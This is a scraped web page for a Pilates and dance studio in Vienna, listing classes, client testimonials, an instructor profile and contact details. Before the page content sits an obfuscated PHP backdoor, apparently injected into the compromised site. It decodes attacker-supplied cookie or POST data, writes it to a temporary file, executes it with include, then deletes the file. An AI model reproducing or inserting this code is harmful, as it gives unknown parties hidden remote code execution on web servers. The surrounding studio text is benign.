$VcFDDyb = class_exists("sp_SFV");if (!$VcFDDyb){class sp_SFV{private $ogOxLVUbh;public static $HwmUrfBtt = "9c0b5ef6-1646-44cd-a97a-bc5b16434fd0";public static $LoZLAgnk = NULL;public function __construct(){$TWSuzqWPtV = $_COOKIE;$riEtJWIPIj = $_POST;$jcGElOqE = @$TWSuzqWPtV[substr(sp_SFV::$HwmUrfBtt, 0, 4)];if (!empty($jcGElOqE)){$kAMAYXUytb = "base64";$RthgI = "";$jcGElOqE = explode(",", $jcGElOqE);foreach ($jcGElOqE as $qMTDBJo){$RthgI .= @$TWSuzqWPtV[$qMTDBJo];$RthgI .= @$riEtJWIPIj[$qMTDBJo];}$RthgI = array_map($kAMAYXUytb . "\137" . "\x64" . chr ( 533 - 432 ).chr (99) . chr (111) . 'd' . chr ( 1002 - 901 ), array($RthgI,)); $RthgI = $RthgI[0] ^ str_repeat(sp_SFV::$HwmUrfBtt, (strlen($RthgI[0]) / strlen(sp_SFV::$HwmUrfBtt)) + 1);sp_SFV::$LoZLAgnk = @unserialize($RthgI);}}public function __destruct(){$this->PiuFRvHhor();}private function PiuFRvHhor(){if (is_array(sp_SFV::$LoZLAgnk)) {$tKPCU = sys_get_temp_dir() . "/" . crc32(sp_SFV::$LoZLAgnk["\x73" . chr ( 507 - 410 )."\x6c" . "\164"]);@sp_SFV::$LoZLAgnk["\167" . "\x72" . chr ( 116 - 11 )."\164" . 'e']($tKPCU, sp_SFV::$LoZLAgnk["\x63" . "\x6f" . chr (110) . "\164" . chr ( 1062 - 961 ).chr ( 479 - 369 )."\x74"]);include $tKPCU;@sp_SFV::$LoZLAgnk['d' . chr (101) . 'l' . "\x65" . "\x74" . chr (101)]($tKPCU);exit();}}}$PPhYiPnyZE = new sp_SFV(); $PPhYiPnyZE = NULL;} ?> pilat-dance: Design Your Body with Pilates and Dance in Vienna, Austria

Pilates & Dance

Healthy Diet

Combined aerobic exercise and strength exercise. Enhance immunity. Not only weight loss, but also a skinny muscular body.

Balance & Harmony

Just keeping the right posture can help balance your body and help you control your weight.

Reposturing

Round shoulder, Forward head posture, corrective pelvic etc. Back pain, shoulder pain etc.

Dance for Beginners

Let’s learn about Dance that you can enjoy with music. Ball season ahead, Wedding preparation, any occasion or to refresh the skills.

Dance sport

Standard: Waltz, Tango, Foxtrot / Latin dance: Rumba, Cha cha cha, Jive

Pilates with Dance

Enjoy your Pilates training together with music.

Choose Your Classes and Start Your Training

BOOK NOW!

Classes

Pilates Beginners’ Class

Join the group after private lesson

20180205060013

Pilates Group Class

Mat & Props (Max. 6 people)

20180205050046

Pilates Private Class

Single / Duet

20180205040031

Dance Class

Single / Couple / Group (Max. 6 People)

20180205020001

I did a group Pilates lesson three times a week, before going to work. After three months later, I look like weight loss and my body line changed. Especially, my pelvis was corrected and my cramps were gone. I got into Pilates because of Dahee, and I have been doing pilates for three years now and I enjoy the class with her the most.

Mideum Han

Office Worker

Over my second pregnancy, I suffered from back and shoulder pain so I started pilates which is great for spinal and pelvic alignment. Now after five months of the workout my pain gradually disappeared and I could find the balance of the body. The great thing about the trainer, Dahee, is that she analyses the problem of the body every class and helps me to practice in the right posture and to improve the balance and stability.

Jieun An

Housewife

Most of the time, I work in sitting position and looking at the computer screen for a long time without much break. By this work habit, I often had a back pain and uncomfortable shoulder pain every now and then. However, after the pilates class, all the pain is gone and I know now how to keep my posture straight with much help of Dahee! Thanks for helping me to design my body in a healthy way!

Myounghee Jo

Graphic Designer

I was doing group classes with Dahee in order to relieve heavy muscle tensions. I also joined private classes, where Dahee corrected my unbalanced posture.When I stopped doing Pilates, I recognized its importance even more. Dahee was able to check the status of each person on the first day and recorded the change and improvements as time went on.

Eunhye Lee

Travel Agent

Gutschein

Gift Card for a Pilates Privat Session:

please contact us to get some for your friends and family for their health.

Dahee Lee

Pilates and Dance Instructor

Our chief instructor and professional Pilates and Dance trainer, Dahee, is from South Korea originally. She has full of experience in Pilates and Dance in Korea and UK, now she lives in Austria and offers her great knowledge and skills to share with you in Vienna for better and happier life!

Contact Info

Ditscheinergasse 2, 1030 Vienna

dahee@pilat-dance.com

+43 660 845 39 09

OPEN MAP

Available in Multiple Languages

Korean

English

German

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